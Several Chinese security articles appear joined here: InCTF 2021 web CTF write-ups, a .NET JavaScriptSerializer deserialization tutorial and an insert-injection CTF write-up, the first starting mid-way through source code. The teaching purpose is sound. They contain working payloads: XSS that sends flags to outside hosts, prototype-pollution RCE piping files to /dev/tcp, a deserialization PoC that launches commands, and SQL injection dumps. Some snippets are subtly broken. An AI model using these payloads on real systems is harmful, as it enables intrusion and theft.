func previewHandler(w http.ResponseWriter, r *http.Request) {
vars := mux.Vars(r)
res := Preview{Error: "", Data: ""}
postid, found := mux.Vars(r)["postid"]
if found {
bucketid := vars["bucketid"]
fmt.Println("Requested for", bucketid, postid)
id, _ := strconv.ParseInt(postid, 10, 64)
rows, err := db.Query("SELECT note FROM posts WHERE bucket = ? AND postid = ?", bucketid, id)
checkErr(err)
counter := 0
var note string
for rows.Next(){
if err := rows.Scan(¬e); err != nil {
log.Fatal("Unable to scan results:", err)
}
counter++
}
if counter == 0 {
res = Preview{Error: "Note not found.", Data: ""}
} else if counter != 1 {
res = Preview{Error: "Could not find notes.", Data: ""}
} else {
res = Preview{Error: "", Data: template.HTML(note)}
}
}
previewTmpl.Execute(w, res)
}
func filterHandler(w http.ResponseWriter, r *http.Request) {
reqBody, _ := ioutil.ReadAll(r.Body)
w.Header().Set("Content-Type", "application/json")
var unsanitized Unsanitized
err := json.Unmarshal(reqBody, &unsanitized)
if err != nil {
log.Println("Error decoding JSON. err = %s", err)
fmt.Fprintf(w, "Error decoding JSON.")
} else {
var cookie, isset = r.Cookie("Token")
hash, token := createToken()
sanitized_data := markdown.ToHTML([]byte(sanitize(unsanitized.Raw)), nil, nil)
if isset == nil {
if cookie.Value == CONFIG.admin_token {
hash = CONFIG.admin_hash
token = CONFIG.admin_token
}
}
cookie = &http.Cookie{Name: "Token", Value: token, HttpOnly: true, Path: "/api"}
result := Sanitized{Sanitized: string(sanitized_data), Raw: unsanitized.Raw, Hash: hash}
http.SetCookie(w, cookie)
json.NewEncoder(w).Encode(result)
}
}
func createHandler(w http.ResponseWriter, r *http.Request) {
reqBody, _ := ioutil.ReadAll(r.Body)
w.Header().Set("Content-Type", "application/json")
type Response struct {
Status string
PostId int
Bucket string
}
var createpost CreatePost
if json.Unmarshal(reqBody, &createpost) != nil {
log.Println("There was an error decoding json. \n")
json.NewEncoder(w).Encode(Response{Status: "Save Error"})
} else {
var cookie, err = r.Cookie("Token")
if err == nil {
var token = cookie.Value
if verifyToken(token, createpost.Hash) || (createpost.Hash == CONFIG.admin_hash){
bucket := CONFIG.admin_bucket
data := createpost.Raw
if createpost.Hash != CONFIG.admin_hash {
id , _ := uuid.NewV4()
bucket = id.String()
data = string(markdown.ToHTML([]byte(sanitize(data)), nil, nil))
} else {
data = string(markdown.ToHTML([]byte(data), nil, nil))
}
postid := save_post(bucket, data)
log.Println("Saved post to", postid)
json.NewEncoder(w).Encode(Response{Status: "success", Bucket: bucket, PostId: postid})
} else {
log.Println("Verification failed for ", createpost.Hash, token)
json.NewEncoder(w).Encode(Response{Status: "Token not verified"})
}
} else {
json.NewEncoder(w).Encode(Response{Status: "Invalid body."})
}
}
}
func flag(w http.ResponseWriter, r *http.Request) {
var cookie, err = r.Cookie("Token")
res := Preview{Error: "", Data: "'"}
if err == nil {
if cookie.Value == CONFIG.admin_token {
res.Data = template.HTML(CONFIG.admin_token)
} else {
res.Data = template.HTML("You are not admin.")
}
}
previewTmpl.Execute(w, res)
}
func debug(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
type Response struct {
Admin_bucket string
VAL_A int
VAL_B int
}
json.NewEncoder(w).Encode(Response{Admin_bucket: CONFIG.admin_bucket, VAL_A: CONFIG.a, VAL_B: CONFIG.c})
}
func clear_database() {
for range time.Tick(time.Second * 1 * 60 * 30) {
stmt, _ := db.Prepare("DELETE FROM posts")
stmt.Exec()
log.Println("Cleared database.")
}
}
func handleRequests() {
route := mux.NewRouter().StrictSlash(true)
go clear_database()
fs := http.FileServer(http.Dir("./static/"))
route.PathPrefix("/static/").Handler(http.StripPrefix("/static/", fs))
route.HandleFunc("/", indexHandler)
route.HandleFunc("/demo", previewHandler).Methods("GET")
route.HandleFunc("/api/flag", flag).Methods("GET")
route.HandleFunc("/api/filter", filterHandler).Methods("POST")
route.HandleFunc("/api/create", createHandler).Methods("POST")
route.HandleFunc("/{bucketid}/{postid}", previewHandler).Methods("GET")
route.HandleFunc("/_debug", debug).Methods("GET")
loggedRouter := handlers.LoggingHandler(os.Stdout, route)
srv := &http.Server{
Addr: "0.0.0.0" + os.Getenv("PORT"),
WriteTimeout: time.Second * 15,
ReadTimeout: time.Second * 15,
IdleTimeout: time.Second * 60,
Handler: loggedRouter,
}
if err := srv.ListenAndServe(); err != nil {
log.Println(err)
}
}
func checkErr(err error) {
if err != nil {
panic(err)
}
}
func main() {
db, _ = sql.Open("sqlite3", "./database.db")
stmt, _ := db.Prepare("CREATE TABLE IF NOT EXISTS posts (postid, bucket, note)")
stmt.Exec()
stmt, _ = db.Prepare("DELETE FROM posts")
stmt.Exec()
a, _ := strconv.Atoi(os.Getenv("VAL_A"))
c, _ := strconv.Atoi(os.Getenv("VAL_B"))
CONFIG = Config{
admin_bucket: os.Getenv("ADMIN_BUCKET"),
admin_token: os.Getenv("FLAG"),
secret: os.Getenv("SECRET"),
admin_hash: getadminhash(),
modulus: 99999999999,
seed: rand.Intn(9e15) + 1e15,
a: a,
c: c,
}
fmt.Println("App running on http://localhost", os.Getenv("PORT"))
handleRequests()
}
#### 解题思路
markdown界面可能可以构造xss，通过postmessage的漏洞我们能够获取hash值，还有一个bot界面可以访问任意网页，而我们需要的是token。所以我们构造一个存储型xss利用CSRF获取flag。
现在问题是如何生成xss
if createpost.Hash != CONFIG.admin_hash {
id , _ := uuid.NewV4()
bucket = id.String()
data = string(markdown.ToHTML([]byte(sanitize(data)), nil, nil))
} else {
data = string(markdown.ToHTML([]byte(data), nil, nil))
}
由代码可知，当我们的hash值是admin的值时，markdown语句直接插入。
所以我们自己构造一个网页，让bot访问从而得到hash。再利用hash写入存储型xss，最后得到token获取flag
#### 实践
构建页面实现小窗口访问demo
<iframe src="http://172.17.0.3/demo:8080" id="iframe" ></iframe>
虽然在这里我们会接收到hash，但是并不会在前端显示，所以我们要将包中数据显示在我们可以看到的地方。将上面的代码完善
<script>
function exploit(){
document.getElementById("iframe").contentWindow.postMessage("test","*")
}
window.addEventListener("message",(event)=>{
var imag = new Image();
img.src = "http://172.17.0.3/?hash="+event.data.Hash;
},false);
</script>
<iframe src="http://172.17.0.3/demo:8080" id="iframe" onload="exploit()" ></iframe>
将接收到的hash当作参数和网址当作图片链接。我们查看图片链接就可以知道hash
然后注入xss
<script>
fetch(String.fromCharCode(47, 97, 112, 105, 47, 102, 108, 97, 103)) // /api/flag
.then(function(response) {return response.text();})
.then(function (text) {
var img = new Image();
img.src = String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 48, 53, 53, 99, 52, 100, 52, 50, 49, 56, 57, 101, 46, 110, 103, 114, 111, 107, 46, 105, 111, 47, 63, 100, 97, 116, 97, 61) + encodeURIComponent(text); /http:// / ? text
})
</script>
最后利用CSRF获取flag
### 总结
hash通过postmessage漏洞获取，xss注入后，实现CSRF得到flag
这道题环境搭建不完全，bot没有，解题过程借鉴了[MD Notes – CTFs
(zeyu2001.com)](https://ctf.zeyu2001.com/2021/inctf-2021/md-notes)
## Json Analyser
### 环境搭建
唯一问题 npm install 不能执行
再dockerfile中增加npm config set strict-ssl false解决
### 做题
有两个js文件,但是源码并不完全
#### script.js
$("form").on("change", ".file-upload-field", function(){
$(this).parent(".file-upload-wrapper").attr("data-text", $(this).val().replace(/.*(\/|\\)/, '') );
});
#### get_role.js
function get_roles(){
const role=document.getElementById("role").value
fetch('http://127.0.0.1:5555/verify_roles?role='+role).then(response=>
response.text()
).then(data =>{
document.getElementById("output").innerHTML=data;
})
}
对功能进行操作，发现上传文件需要pin，目前还是没有思路，打开waf.py查看源码
#### waf.py
from flask import Flask, request
from flask_cors import CORS
import ujson
import json
import re
import os
os.environ['subscription_code'] = '[REDACTED]'
app=Flask(__name__)
cors = CORS(app)
CORS(app)
cors = CORS(app, resources={
r"/verify_roles": {
"origins": "*"
}
})
@app.route('/verify_roles',methods=['GET','POST'])
def verify_roles():
no_hecking=None
role=request.args.get('role')
if "superuser" in role:
role=role.replace("superuser",'')
if " " in role:
return "n0 H3ck1ng"
if len(role)>30:
return "invalid role"
data='"name":"user","role":"{0}"'.format(role)
no_hecking=re.search(r'"role":"(.*?)"',data).group(1)
if(no_hecking)==None:
return "bad data :("
if no_hecking == "superuser":
return "n0 H3ck1ng"
data='{'+data+'}'
try:
user_data=ujson.loads(data)
except:
return "bad format"
role=user_data['role']
user=user_data['name']
if (user == "admin" and role == "superuser"):
return os.getenv('subscription_code')
else:
return "no subscription for you"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5555)
role=role.replace(“superuser”,’’)
替换superuser为空
if “ “ in role:
return “n0 H3ck1ng”
不能有空格
role<30
if (user == “admin” and role == “superuser”):
return os.getenv(‘subscription_code’)
需要user为admin role为superuser
但是data=’”name”:”user”,”role”:”{0}”‘.format(role)决定了name是user，这里需要用到ujson的重复键
#### 重复键
obj = {"test": 1, "test": 2}
obj[test] =2
所以，我们在 role传参时，包含user : admin 使得user为admin，同时由于替换superuser所以使用复写绕过
role=supersuperuseruser”,”user”: “admin
但是if no_hecking == “superuser”:
return “n0 H3ck1ng”
使得尽管绕过了替换，后续的检测依旧不能成功
我们需要role!===superuser 但是 role == superuser
，这怎么实现呢，我们可以看到下面的user_data=ujson.loads(data)，ujson存在字符截断，就是U+D800-U+DFFF在ujson的解析中，不会影响值。
所以我们使用role=supersuperuseruser/ud800”,”user”:”admin
上传一个json
源码是app.py
const express = require('express');
const fileUpload = require('express-fileupload');
const fs = require("fs");
const sqrl = require('squirrelly');
const app = express();
port = 8088
app.use(express.static('static'));
app.set('view engine', 'squirrelly');
app.set('views', __dirname + '/views')
app.use(fileUpload());
app.get('/waf', function (req, res) {
res.sendFile(__dirname+'/static/waf.html');
});
app.get('/restart',function(req,res){
var content='';
content=fs.readFileSync('package.json','utf-8')
fs.writeFileSync('package1.json', content)
})
app.get('/', function (req, res) {
res.sendFile(__dirname+'/static/index.html');
});
app.post('/upload', function(req, res) {
let uploadFile;
let uploadPath;
if(req.body.pin !== "[REDACTED]"){
return res.send('bad pin')
}
if (!req.files || Object.keys(req.files).length === 0) {
return res.status(400).send('No files were uploaded.');
}
uploadFile = req.files.uploadFile;
uploadPath = __dirname + '/package.json' ;
uploadFile.mv(uploadPath, function(err) {
if (err)
return res.status(500).send(err);
try{
var config = require('config-handler')();
}
catch(e){
const src = "package1.json";
const dest = "package.json";
fs.copyFile(src, dest, (error) => {
if (error) {
console.error(error);
return;
}
console.log("Copied Successfully!");
});
return res.sendFile(__dirname+'/static/error.html')
}
var output='\n';
if(config['name']){
output=output+'Package name is:'+config['name']+'\n\n';
}
if(config['version']){
output=output+ "version is :"+ config['version']+'\n\n'
}
if(config['author']){
output=output+"Author of package:"+config['author']+'\n\n'
}
if(config['license']){
var link=''
if(config['license']==='ISC'){
link='https://opensource.org/licenses/ISC'+'\n\n'
}
if(config['license']==='MIT'){
link='https://www.opensource.org/licenses/mit-license.php'+'\n\n'
}
if(config['license']==='Apache-2.0'){
link='https://opensource.org/licenses/apache2.0.php'+'\n\n'
}
if(link==''){
var link='https://opensource.org/licenses/'+'\n\n'
}
output=output+'license :'+config['license']+'\n\n'+'find more details here :'+link;
}
if(config['dependencies']){
output=output+"following dependencies are thier corresponding versions are used:" +'\n\n'+' '+JSON.stringify(config['dependencies'])+'\n'
}
const src = "package1.json";
const dest = "package.json";
fs.copyFile(src, dest, (error) => {
if (error) {
console.error(error);
return;
}
});
res.render('index.squirrelly', {'output':output})
});
});
var server= app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
});
server.setTimeout(10000);
这里推测需要原型链污染RCE
在name中添加
{
"__proto__":{
"defaultFilter" : "e'));process.mainModule.require('child_process').execSync('/bin/bash -c \\'cat /* > /dev/tcp/172.17.0.2:1554/\\'')//"
}
}
### 总结
知识点在于重复键名读取最后一个，ujson解析有\ud800不可读，原型链污染反弹shell
借鉴[JsonAnalyser](https://blog.bi0s.in/2021/08/15/Web/inCTFi21-JsonAnalyser/)
## Notepad系列
### notepad1
#### 环境搭建
问题一
go: github.com/gorilla/[[email protected]](mailto:[email protected]): Get “<a
href=”https://proxy.golang.org/github.com/gorilla/handlers/[@v](https://github.com/v
"@v")/v1.5.1.mod””>https://proxy.golang.org/github.com/gorilla/handlers/@v/v1.5.1.mod“:
dial tcp 142.251.43.17:443: connect: connection refused
解决方法
在dockerfile中增加go env -w GOPROXY=<https://goproxy.cn>
问题二
404
解决方法
改main.go的r.host为自己环境的访问网址（感谢jiryu指点）
#### 解题
##### 源码
package main
import (
"crypto/md5"
"encoding/hex"
"flag"
"fmt"
"log"
"math/rand"
"net/http"
"os"
"regexp"
"strings"
"time"
"github.com/gorilla/handlers"
"github.com/gorilla/mux"
)
const adminID = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
const adminNOTE = "inctf{flag}"
var Notes = make(map[string]string)
// Prevent XSS on api-endpoints ¬‿¬
var cType = map[string]string{
"Content-Type": "text/plain",
"x-content-type-options": "nosniff",
"X-Frame-Options": "DENY",
"Content-Security-Policy": "default-src 'none';",
}
func cookGenerator() string {
hash := md5.Sum([]byte(string(rand.Intn(30))))
return hex.EncodeToString((hash)[:])
}
func headerSetter(w http.ResponseWriter, header map[string]string) {
for k, v := range header {
w.Header().Set(k, v)
}
}
func getIDFromCooke(r *http.Request, w http.ResponseWriter) string {
var cooke, err = r.Cookie("id")
re := regexp.MustCompile("^[a-zA-Z0-9]+$")
var cookeval string
if err == nil && re.MatchString(cooke.Value) && len(cooke.Value) <= 35 && len(cooke.Value) >= 30 {
cookeval = cooke.Value
} else {
cookeval = cookGenerator()
c := http.Cookie{
Name: "id",
Value: cookeval,
SameSite: 2,
HttpOnly: true,
Secure: false,
}
http.SetCookie(w, &c)
}
return cookeval
}
func add(w http.ResponseWriter, r *http.Request) {
id := getIDFromCooke(r, w)
if id != adminID {
r.ParseForm()
noteConte := r.Form.Get("content")
if len(noteConte) < 75 {
Notes[id] = noteConte
}
}
fmt.Fprintf(w, "OK")
}
func get(w http.ResponseWriter, r *http.Request) {
id := getIDFromCooke(r, w)
x := Notes[id]
headerSetter(w, cType)
if x == "" {
fmt.Fprintf(w, "404 No Note Found")
} else {
fmt.Fprintf(w, x)
}
}
func find(w http.ResponseWriter, r *http.Request) {
id := getIDFromCooke(r, w)
param := r.URL.Query()
x := Notes[id]
var which string
str, err := param["condition"]
if !err {
which = "any"
} else {
which = str[0]
}
var start bool
str, err = param["startsWith"]
if !err {
start = strings.HasPrefix(x, "snake")
} else {
start = strings.HasPrefix(x, str[0])
}
var responseee string
var end bool
str, err = param["endsWith"]
if !err {
end = strings.HasSuffix(x, "hole")
} else {
end = strings.HasSuffix(x, str[0])
}
if which == "starts" && start {
responseee = x
} else if which == "ends" && end {
responseee = x
} else if which == "both" && (start && end) {
responseee = x
} else if which == "any" && (start || end) {
responseee = x
} else {
_, present := param["debug"]
if present {
delete(param, "debug")
delete(param, "startsWith")
delete(param, "endsWith")
delete(param, "condition")
for k, v := range param {
for _, d := range v {
if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 50 {
w.Header().Set(k, d)
}
break
}
break
}
}
responseee = "404 No Note Found"
}
headerSetter(w, cType)
fmt.Fprintf(w, responseee)
}
// Reset notes every 30 mins. No Vuln in this
func resetNotes() {
Notes[adminID] = adminNOTE
for range time.Tick(time.Second * 1 * 60 * 30) {
Notes = make(map[string]string)
Notes[adminID] = adminNOTE
}
}
func main() {
rand.Seed(time.Now().UnixNano())
var dir string
flag.StringVar(&dir, "dir", "./public", "the directory to serve files from. Defaults to the current dir")
flag.Parse()
go resetNotes()
r := mux.NewRouter()
s := r.Host("这里更改").Subrouter()
s.HandleFunc("/add", add).Methods("POST")
s.HandleFunc("/get", get).Methods("GET")
s.HandleFunc("/find", find).Methods("GET")
s.PathPrefix("/").Handler(http.StripPrefix("/", http.FileServer(http.Dir(dir))))
fmt.Println("Server started at http://0.0.0.0:3000")
loggedRouter := handlers.LoggingHandler(os.Stdout, r)
srv := &http.Server{
Addr: "0.0.0.0:3000",
// Good practice to set timeouts to avoid Slowloris attacks.
WriteTimeout: time.Second * 15,
ReadTimeout: time.Second * 15,
IdleTimeout: time.Second * 60,
Handler: loggedRouter, // Pass our instance of gorilla/mux in.
}
if err := srv.ListenAndServe(); err != nil {
log.Println(err)
}
}
首先看看flag在哪：resetnotes中，将note[adminid] 设为flag，我们需要读取就要知道adminid，从find get
add中我们看到id从cookie中得到，所以我们要获得admin的cookie
根据提示，漏洞在api
分析add find get
add get 平平无奇，只有find比较复杂
包括了start end condition 以及debug
显然debug 是重点
将输入键值分离插入头中
而这里我们可以通过setcookie添加cookie
#### 复现
首先，要想拿到flag就要用admin的id去访问get
如何获取是第一步
我们制造一个存储型xss，让bot的cookie被记录，但是由于存储有长度限制，所以以cookie作为跳板
<img/src/onerror=”eval(document.cookie.split(‘; ‘).sort().join(‘;’))”>
将\<img src=# id=xssyou style=display:none
onerror=eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fxsscom.com%2F%2FZcc2gA%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>
分到下面语句中
debug=a&Set-Cookie=var A = “”;
debug=a&Set-Cookie=var B = A + “”;
………………………..
访问可得cookie
第二步设置cookie，我们使用set-cookie，利用find的debug
debug=a&Set-Cookie=id=${cookie}%3B%20path=/get
然后我们访问get，发现访问时cookie添加了admin的id，flag获得
### notepad15
环境搭建上同
#### 解题
15和1的区别就在于不能直接上传xss，以及对传参进行了限制
for v, d := range param {
for _, k := range d {
if regexp.MustCompile("^[a-zA-Z0-9{}_;-]*$").MatchString(k) && len(d) < 5 {
w.Header().Set(v, k)
}
break
}
break
}
检测最后的值以及限制长度
所以我们要寻找新的漏洞点
[CRLF in Flask’s headers.set method in make_response · Issue #4238 ·
pallets/flask · GitHub](https://github.com/pallets/flask/issues/4238)
一个header().set()的漏洞能够填充header
利用漏洞，我们在content中增加xss的script代码
但是，我们不能使用第一题的思路先获取cookie再得到flag。
我们要直接bot访问我们的网页，利用CSRF直接获取flag返回。
我们使用window.open(“[http://IP:PORT/find?debug=a&Content-Type:text/html%0A%0A%3Chtml%3E%3Cscript%3Eeval(window.name)%3C/script%3E](http://IP:PORT/find?debug=a&Content-Type:text/html%0A%0A%3Chtml%3E%3Cscript%3Eeval\(window.name\)%3C/script%3E)“,
name=`fetch(‘/get’).then(response=>response.text()).then(data=>navigator.sendBeacon(‘接收IP’,data))`)
借鉴[Notepad Series – InCTF Internationals 2021 |
bi0s](https://blog.bi0s.in/2021/08/16/Web/notepad-inctf21/)
## raas
由于没有环境可以复现，当时我也没有看这道题，所以给个wp地址[RaaS – CTFs
(zeyu2001.com)](https://ctf.zeyu2001.com/2021/inctf-2021/raas)
简单来说就是可以根据file协议读取文件，根据dockerfile得知存在文件app.py，发现使用了redis，当GET传参，cookie存在userid且判断isadmin为yes则返回flag，然后以gopher传输redis命令 | 社区文章 |
# .NET高级代码审计（第四课） JavaScriptSerializer反序列化漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Ivan1ee@360云影实验室
## 0X00 前言
在.NET处理
Ajax应用的时候，通常序列化功能由JavaScriptSerializer类提供，它是.NET2.0之后内部实现的序列化功能的类，位于命名空间System.Web.Script.Serialization、通过System.Web.Extensions引用，让开发者轻松实现.Net中所有类型和Json数据之间的转换，但在某些场景下开发者使用Deserialize
或DeserializeObject方法处理不安全的Json数据时会造成反序列化攻击从而实现远程RCE漏洞，本文笔者从原理和代码审计的视角做了相关介绍和复现。
## 0X01 JavaScriptSerializer序列化
下面先来看这个系列课程中经典的一段代码：
TestClass类定义了三个成员，并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值
使用JavaScriptSerializer类中的Serialize方法非常方便的实现.NET对象与Json数据之间的转化，笔者定义TestClass对象，常规下使用Serialize得到序列化后的Json
{"Classname":"360","Name":"Ivan1ee","Age":18}
从之前介绍过其它组件反序列化漏洞原理得知需要
__type这个Key的值，要得到这个Value就必须得到程序集全标识（包括程序集名称、版本、语言文化和公钥），那么在JavaScriptSerializer中可以通过实例化SimpleTypeResolver类，作用是为托管类型提供类型解析器，可在序列化字符串中自定义类型的元数据程序集限定名称。笔者将代码改写添加类型解析器
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
这次序列化输出程序集的完整标识，如下
{"__type":"WpfApp1.TestClass, WpfApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Classname":"360","Name":"Ivan1ee","Age":18}
## 0x02 JavaScriptSerializer反序列化
### 2.1、反序列化用法
反序列化过程就是将Json数据转换为对象，在JavaScriptSerializer类中创建对象然后调用DeserializeObject或Deserialize方法实现的
DeserializeObject方法只是在Deserialize方法上做了一层功能封装，重点来看Deserialize方法，代码中通过JavaScriptObjectDeserializer.BasicDeserialize方法返回object对象
在BasicDeserialize内部又调用了DeserializeInternal方法，当需要转换为对象的时候会判断字典集合中是否包含了ServerTypeFieldName常量的Key，
ServerTypeFieldName常量在JavaScriptSerializer类中定义的值为“__type”,
剥茧抽丝，忽略掉非核心方法块ConvertObjectToType、ConvertObjectToTypeMain
、ConvertObjectToTypeInternal，最后定位到ConvertDictionaryToObject方法内
这段代码首先判断ServerTypeFieldName存在值的话就输出赋值给对象s，第二步将对象s强制转换为字符串变量serverTypeName，第三步获取解析器中的实际类型，并且通过System.Activator的CreateInstance构造类型的实例
Activator类提供了静态CreateInstance方法的几个重载版本，调用方法的时候既可以传递一个Type对象引用，也可以传递标识了类型的String，方法返回对新对象的引用。下图Demo展示了序列化和反序列化前后的效果：
反序列化后得到对象的属性，打印输出当前的成员Name的值
### 2.2、打造Poc
默认情况下JavaScriptSerializer不会使用类型解析器，所以它是一个安全的序列化处理类，漏洞的触发点也是在于初始化JavaScriptSerializer类的实例的时候是否创建了SimpleTypeResolver类，如果创建了，并且反序列化的Json数据在可控的情况下就可以触发反序列化漏洞，借图来说明调用链过程
笔者还是选择ObjectDataProvider类方便调用任意被引用类中的方法，具体有关此类的用法可以看一下《.NET高级代码审计（第一课）
XmlSerializer反序列化漏洞》，因为Process.Start方法启动一个线程需要配置ProcessStartInfo类相关的属性，例如指定文件名、指定启动参数，所以首先得考虑序列化ProcessStartInfo，这块可参考
《.NET高级代码审计（第三课） Fastjson反序列化漏洞》 ，
之后对生成的数据做减法，去掉无关的System.RuntimeType、System.IntPtr数据，最终得到反序列化Poc
{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd',
'Arguments':'/c calc.exe'
}
}
}
笔者编写了触发代码，用Deserialize<Object>反序列化Json成功弹出计算器。
## 0x03 代码审计视角
### 3.1、Deserialize
从代码审计的角度其实很容易找到漏洞的污染点，通过前面几个小节的知识能发现需要满足一个关键条件new SimpleTypeResolver()
，再传入Json数据，就可被反序列化，例如下面的JsonHelper类
攻击者只需要控制传入字符串参数input便可轻松实现反序列化漏洞攻击。Github上也存在大量的不安全案例代码
### 3.2、DeserializeObject
JavaScriptSerializer还有一个反序列化方法DeserializeObject，这个方法同样可以触发漏洞，具体污染代码如下
## 0x04 案例复盘
最后再通过下面案例来复盘整个过程，全程展示在VS里调试里通过反序列化漏洞弹出计算器。
1. 输入<http://localhost:5651/Default> Post加载value值
2. 通过DeserializeObject反序列化 ，并弹出计算器
最后附上动态效果图
## 0x05 总结
JavaScriptSerializer凭借微软自身提供的优势，在实际开发中使用率还是比较高的，只要没有使用类型解析器或者将类型解析器配置为白名单中的有效类型就可以防止反序列化攻击（默认就是安全的序列化器），对于攻击者来说实际场景下估计利用概率不算高，毕竟很多开发者不会使用SimpleTypeResolver类去处理数据。最后.NET反序列化系列课程笔者会同步到
<https://github.com/Ivan1ee/> 、<https://ivan1ee.gitbook.io/>
，后续笔者将陆续推出高质量的.NET反序列化漏洞文章，欢迎大伙持续关注，交流，更多的.NET安全和技巧可关注实验室公众号。 | 社区文章 |
## 一次insert注入引发的思考
### 起因
事情的经过是这样的:一个小兄弟丢给了我一道题目，春秋平台以前比赛的题目，题目是“百度杯”CTF比赛 十二月场 的 `Blog`地址如下
https://www.ichunqiu.com/battalion?t=1&r=56951
先写一个无脑的writeup。
登陆之后，可以提交标题和内容,
胡乱测试之后，发现提交内容的地方可以注入,回显的地方在,提交的页面，如果提交的页面返回`success`说明语句正常执行，那么就可以在user.php的页面里看到回显，
测试的过程如下:
注入数据库
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(database()),'a
返回miniblog
注入表
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(table_name) from information_schema.tables where table_schema = database()),'a
返回posts,users
注入列
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(column_name) from information_schema.columns where table_name = 0x7573657273),'a
username,password
注入数据
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(username,password) from users ),'a
admin
dbb616c5d935d8f34c12c291066d6fb7,(melody123)
admin'
8beac31ce70381dca1107195809d9f23,
a
0cc175b9c0f1b6a831c399e269772661
注入之后,得到了用户名和密码登录之后，发现是一个简单的文件包含,直接通过常规的filter协议可以得到结果
http://blog_manage/manager.php?module=php://filter/read=convert.base64-encode/resource=../flag&name=php
这里为什么可以知道flag的位置，一方面靠猜，另一方面，编辑器有一个漏洞，可以列目录
payload如下
/kindeditor/php/file_manager_json.php?path=/
以上就是题目的解题过程
思路还算是常规，但是还没有结束。
### 经过
就是一个简单注入问题,只不过是回显的位置在不同的地方而已
小兄弟问我这是不是二次注入于是乎就进入深深的二次注入的漩涡之中，
从网络上粘一张图片来说明
在上一个例子
https://zhuanlan.zhihu.com/p/39917830
这位大佬总结的很贴切了，不在过多的说了。
那么我们总结一下insert注入和二次注入的区别
一般来讲二次注入都是和插入数据有关的，但是最明显的区别就是
二次注入的代码在插入之前不可执行，而在插入之后，带入到了查询语句从而造成了二次注入，而insert注入中，所插入的就是马上要执行的，但是不同的情况下，回现的方式不一样，就是因为不一样，所以才有了今天的血案。
刚好这题可可以通过文件包含查看源码，那么我们就来看看这这题的代码是怎么写的。
别的不多说，直接上源码：
<?php
session_start();
include "config.php";
if (!isset($_SESSION['login'])) {
die("<script>alert('You need to log in!');location.href='login.php';</script>");
}
if (isset($_POST['title']) && isset($_POST['content'])) {
if (strlen($_POST['title'])>15 || strlen($_POST['content'])>255) {
die("<script>alert('The title or the content is too long!');location.href('post.php');</script>");
}
$title = htmlspecialchars($_POST['title']);
$content = htmlspecialchars($_POST['content']);
$username = addslashes($_SESSION['username']);
$sql = "INSERT INTO `posts` VALUES(NULL,'{$title}', '{$content}','{$username}')";
$result = $conn->query($sql);
if ($result !== False) {
$conn->close();
echo("<script>alert('Success');</script>");
header("Location: user.php");
}else{
$conn->close();
echo("<script>alert('Something wrong happened!');</script>");
}
}
?>
题目对提交的数据进行了简单的过滤：通过`htmlspecialchars`函数，基本没有什么用,那么核心的代码就是
$sql = "INSERT INTO `posts` VALUES(NULL,'{$title}', '{$content}','{$username}')";
结合我们之前的paylaod,
我们最终的查询语句是：
$sql = "INSERT INTO `posts` VALUES(NULL,'1a', '1','4'),('a',(database()),'a','{$username}')";
由上可见在插入数据之前，我们已经把想要的数据放到数据里面了，只是在前台查询出来了而已。
### 高潮
但是事情依然还没有完，做这个在查看这题目的源码的时候，顺手看了看注册和登录的代码，发现了一个意想不到的事情。
下面看代码：
这是注册的代码
<?php
session_start();
include "config.php";
if (isset($_SESSION['login'])) {
die("<script>alert('You have logged in!');location.href='user.php';</script>");
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
if (stripos($username, 'union') !== False) {
print "<script>alert('Don't do evil thing!');</script>";
}else{
$sql = "INSERT INTO `users` VALUES('{$username}', '{$password}')";
$result = $conn->query($sql);
if ($result !== False) {
$conn->close();
header("Location: login.php");
}else{
$conn->close();
print "<script>alert('Something wrong happened!');</script>";
}
}
}
?>
这是登录的代码
<?php
session_start();
include "config.php";
if (isset($_SESSION['login'])) {
die("<script>alert('You have logged in!');location.href='user.php';</script>");
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
if (stripos($username, 'union') !== False) {
print "<script>alert('Don't do evil thing!');</script>";
}else{
$sql = "SELECT * FROM `users` WHERE username = '{$username}'";
$result = $conn->query($sql);
$row = $result->fetch_assoc();
if ($row['password'] === $password) {
$_SESSION['login'] = 1;
$_SESSION['username'] = $row['username'];
$result->free();
$conn->close();
header("Location: user.php");
}else{
print "<script>alert('Username or password is wrong!');</script>";
$result->free();
$conn->close();
}
}
}
?>
这是登录之后的一段代码
<?php
$sql = "SELECT * FROM `posts` WHERE username='{$_SESSION['username']}';";
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
print "<h1>{$row['title']}</h1>";
print "<p>{$row['content']}</p>";
print "<br />";
}
$result->free();
$conn->close();
?>
再来看看这`$_SESSION['username']`是个什么情况
关键问题就出在
$sql = "SELECT * FROM `users` WHERE username = '{$username}'";
$result = $conn->query($sql);
if ($row['password'] === $password) {
$_SESSION['login'] = 1;
$_SESSION['username'] = $row['username'];}
